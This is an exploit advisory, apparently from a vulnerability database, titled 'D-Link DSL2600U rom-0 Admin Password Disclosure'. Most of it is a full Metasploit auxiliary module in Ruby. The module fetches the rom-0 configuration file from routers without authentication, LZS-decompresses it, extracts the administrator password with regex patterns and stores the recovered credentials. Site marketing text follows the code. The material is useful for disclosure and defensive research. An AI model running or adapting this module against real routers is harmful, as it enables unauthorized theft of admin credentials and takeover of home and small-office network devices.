==================================================================================================================================
| # Title : D-Link DSL2600U rom-0 Admin Password Disclosure |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://www.dlink.com |
==================================================================================================================================
[+] Summary : a vulnerability in D-Link DSL2600U routers (firmware version v1.08) that allows unauthenticated attackers to download the `rom-0` configuration file containing the administrator password.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'D-Link DSL2600U rom-0 Admin Password Disclosure',
'Description' => %q{
This module exploits a vulnerability in D-Link DSL2600U routers
(firmware version v1.08) that allows unauthenticated attackers
to download the `rom-0` configuration file containing the
administrator password. The `rom-0` file is compressed using
LZS compression. After decompression, the admin credentials
can be extracted in cleartext.
This vulnerability affects D-Link DSL-2600U routers and potentially
other D-Link models that expose the `rom-0` file.
},
'Author' => ['indoushka'],
'References' => [
['URL', 'https://github.com/amirhosseinjamshidi64'],
['URL', 'https://www.dlink.com']
],
'DisclosureDate' => '2026-05-02',
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'The path to the rom-0 file', '/rom-0']),
OptString.new('OUTPUT_FILE', [false, 'Save decompressed rom-0 to file']),
OptBool.new('EXTRACT_CREDS', [true, 'Extract credentials from decompressed data', true])
])
end
class LZSDecompress
def self.decompress(data)
return nil if data.nil? || data.empty?
output = ''
idx = 0
data_len = data.length
while idx < data_len
ctrl = data[idx].unpack('C')[0]
idx += 1
if ctrl == 0
output << "\x00"
next
end
if ctrl & 0x80 == 0
count = ctrl & 0x1F
if count == 0
count = 31
end
if idx + count > data_len
count = data_len - idx
end
output << data[idx, count]
idx += count
else
if ctrl & 0x40 == 0
offset = ((ctrl & 0x1F) << 8) | data[idx].unpack('C')[0]
count = ((ctrl >> 5) & 0x03) + 2
idx += 1
if offset > output.length
offset = output.length
end
start_pos = output.length - offset
if start_pos >= 0 && start_pos < output.length
(0...count).each do |i|
pos = start_pos + i
if pos < output.length
output << output[pos]
else
output << "\x00"
end
end
else
output << "\x00" * count
end
else
offset = ((ctrl & 0x3F) << 8) | data[idx].unpack('C')[0]
count = ((ctrl >> 2) & 0x0F) + 3
idx += 1
if offset > output.length
offset = output.length
end
start_pos = output.length - offset
if start_pos >= 0 && start_pos < output.length
(0...count).each do |i|
pos = start_pos + i
if pos < output.length
output << output[pos]
else
output << "\x00"
end
end
else
output << "\x00" * count
end
end
end
end
output
rescue => e
vprint_error("LZS decompression error: #{e.message}")
nil
end
end
def fetch_rom0
uri = normalize_uri(target_uri.path)
print_status("Downloading #{uri} from #{peer}")
res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)
if res && res.code == 200
print_good("Successfully downloaded rom-0 file (#{res.body.length} bytes)")
return res.body
else
print_error("Failed to download rom-0 file: HTTP #{res&.code || 'no response'}")
return nil
end
end
def extract_credentials(decompressed_data)
credentials = []
patterns = [
/(?:password|pass|admin_password|adminpass)[\s]*[=:][\s]*["']?([^"'\s,]+)/i,
/"password"\s*:\s*"([^"]+)"/i,
/'password'\s*:\s*'([^']+)'/i,
/<password>([^<]+)<\/password>/i,
/admin[_-]?password[_-]?[\s]*[=:][\s]*["']?([^"'\s,]+)/i,
/(?:user|admin)[\s]*[=:][\s]*["']?([^"'\s,]+)/i
]
cred_pattern = /([a-zA-Z0-9_]+)[\s]*[=:][\s]*([a-zA-Z0-9_!@#$%^&*]+)/i
decompressed_data.scan(cred_pattern) do |match|
if match[0] =~ /(user|admin|root|password|pass)/i
credentials << { username: match[0], password: match[1] }
end
end
patterns.each do |pattern|
decompressed_data.scan(pattern) do |match|
if match.is_a?(Array)
credentials << { type: 'password', value: match[0] }
else
credentials << { type: 'password', value: match }
end
end
end
admin_patterns = [
/admin[:\s]+([a-zA-Z0-9_!@#$%^&*]+)/i,
/Administrator[:\s]+([a-zA-Z0-9_!@#$%^&*]+)/i,
/root[:\s]+([a-zA-Z0-9_!@#$%^&*]+)/i
]
admin_patterns.each do |pattern|
match = decompressed_data.match(pattern)
if match
credentials << { type: 'admin_password', value: match[1] }
end
end
credentials.uniq
end
def find_admin_password(decompressed_data)
match = decompressed_data.match(/pwdAdmin\s*=\s*"([^"]+)"/i)
return match[1] if match
match = decompressed_data.match(/admin_password\s*=\s*([^\s]+)/i)
return match[1] if match
match = decompressed_data.match(/"password"\s*:\s*"([^"]+)"/i)
return match[1] if match
lines = decompressed_data.split("\n")
lines.each do |line|
if line =~ /admin/i && line =~ /(=|:)/i
parts = line.split(/[=:]/)
if parts.length >= 2
candidate = parts[1].strip.gsub(/["']/, '')
if candidate.length >= 4 && candidate.length <= 32
return candidate
end
end
end
end
nil
end
def save_output(data, filename)
begin
File.open(filename, 'wb') do |f|
f.write(data)
end
print_good("Saved output to #{filename}")
return true
rescue => e
print_error("Failed to save output: #{e.message}")
return false
end
end
def run_host(ip)
print_status("D-Link DSL2600U - rom-0 Admin Password Disclosure")
print_status("Target: #{peer}")
rom0_data = fetch_rom0
if rom0_data.nil? || rom0_data.empty?
print_error("Could not retrieve rom-0 file")
return
end
if datastore['OUTPUT_FILE']
save_output(rom0_data, "#{datastore['OUTPUT_FILE']}.raw")
end
print_status("Decompressing LZS data...")
decompressed_data = nil
offsets_to_try = [0, 8568, 1024, 2048, 4096, 8192]
offsets_to_try.each do |offset|
if offset < rom0_data.length
vprint_status("Trying decompression at offset #{offset}")
decompressed = LZSDecompress.decompress(rom0_data[offset..-1])
if decompressed && decompressed.length > 100
decompressed_data = decompressed
print_good("Successfully decompressed data from offset #{offset} (#{decompressed_data.length} bytes)")
break
end
end
end
if decompressed_data.nil? || decompressed_data.empty?
decompressed_data = LZSDecompress.decompress(rom0_data)
if decompressed_data && decompressed_data.length > 100
print_good("Successfully decompressed entire file (#{decompressed_data.length} bytes)")
else
print_error("Failed to decompress rom-0 data")
return
end
end
if datastore['OUTPUT_FILE']
save_output(decompressed_data, datastore['OUTPUT_FILE'])
end
if datastore['EXTRACT_CREDS']
print_status("Extracting credentials from decompressed data...")
admin_password = find_admin_password(decompressed_data)
if admin_password
print_good("Found admin password: #{admin_password}")
report_cred(
host: ip,
port: datastore['RPORT'],
service_name: 'http',
user: 'admin',
private_data: admin_password,
private_type: :password,
source_id: 'dlink_rom0_disclosure'
)
else
credentials = extract_credentials(decompressed_data)
if credentials.empty?
print_warning("No credentials found in decompressed data")
readable_strings = decompressed_data.scan(/[ -~]{8,}/)
if readable_strings.any?
print_status("Found readable strings that might contain credentials:")
readable_strings.each do |str|
if str =~ /[a-zA-Z0-9]{6,}/ && str.length >= 6 && str.length <= 32
print_status(" Possible credential: #{str}")
end
end
end
else
print_good("Found #{credentials.length} potential credential(s):")
credentials.each do |cred|
if cred[:username] && cred[:password]
print_status(" #{cred[:username]} : #{cred[:password]}")
report_cred(
host: ip,
port: datastore['RPORT'],
service_name: 'http',
user: cred[:username],
private_data: cred[:password],
private_type: :password
)
elsif cred[:value]
print_status(" Password found: #{cred[:value]}")
report_cred(
host: ip,
port: datastore['RPORT'],
service_name: 'http',
user: 'unknown',
private_data: cred[:value],
private_type: :password
)
end
end
end
end
end
print_good("Exploit completed")
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation